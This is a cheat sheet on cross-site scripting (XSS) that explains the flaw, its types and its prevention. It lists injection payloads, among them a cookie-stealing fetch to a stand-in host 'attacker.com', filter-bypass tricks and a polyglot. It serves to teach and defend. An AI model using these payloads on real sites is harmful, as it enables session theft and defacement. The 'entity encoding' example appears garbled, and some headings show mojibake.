Cross-Site Scripting (XSS) Cheat Sheet
π What is XSS?
Cross-Site Scripting (XSS) is a web vulnerability that allows an attacker to inject malicious scripts (usually JavaScript) into a web page viewed by other users.
It occurs when an application does not properly validate or escape user input, enabling it to be rendered as executable code in the browser.
π How It Works
Example vulnerable code:
<?php
echo "Hello, " . $_GET['name'];
?>If input is not sanitized, an attacker can inject JavaScript:
http://example.com/index.php?name=<script>alert('XSS')</script>
The injected script will execute in the victimβs browser.
π― Impact
- Steal cookies/session tokens.
- Keylogging.
- Redirect victims to malicious sites.
- Deface websites.
- Launch CSRF or phishing attacks.
π Types of XSS
1. Stored XSS
Payload is saved on the server (e.g., in a database) and served to all visitors.
<script>alert('Stored XSS')</script>2. Reflected XSS
Payload is immediately reflected in the response.
<script>alert('Reflected XSS')</script>3. DOM-Based XSS
Vulnerability is in client-side JavaScript, modifying the DOM without proper sanitization.
document.write(location.hash);Exploit:
http://example.com/#<img src=x onerror=alert('DOM XSS')>
π£ Common XSS Payloads
Basic Alert
<script>alert('XSS')</script>Image Error Event
<img src=x onerror=alert('XSS')>SVG Payload
<svg onload=alert('XSS')>Iframe Injection
<iframe src="javascript:alert('XSS')"></iframe>Cookie Stealing (example)
<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>π Bypassing Filters
- HTML Entity Encoding:
<script>alert('XSS')</script>- Event Handlers:
<svg onmouseover=alert(1)>- JavaScript URIs:
<a href="javascript:alert(1)">Click</a>- Polyglot Payload (works in multiple contexts):
"><svg/onload=alert(1)>π‘ Prevention
- Escape output based on context (HTML, JS, URL).
- Use frameworks with built-in XSS protection (React, Angular).
- Set Content Security Policy (CSP).
- Use HTTPOnly cookies to protect session tokens.
- Validate and sanitize all user input.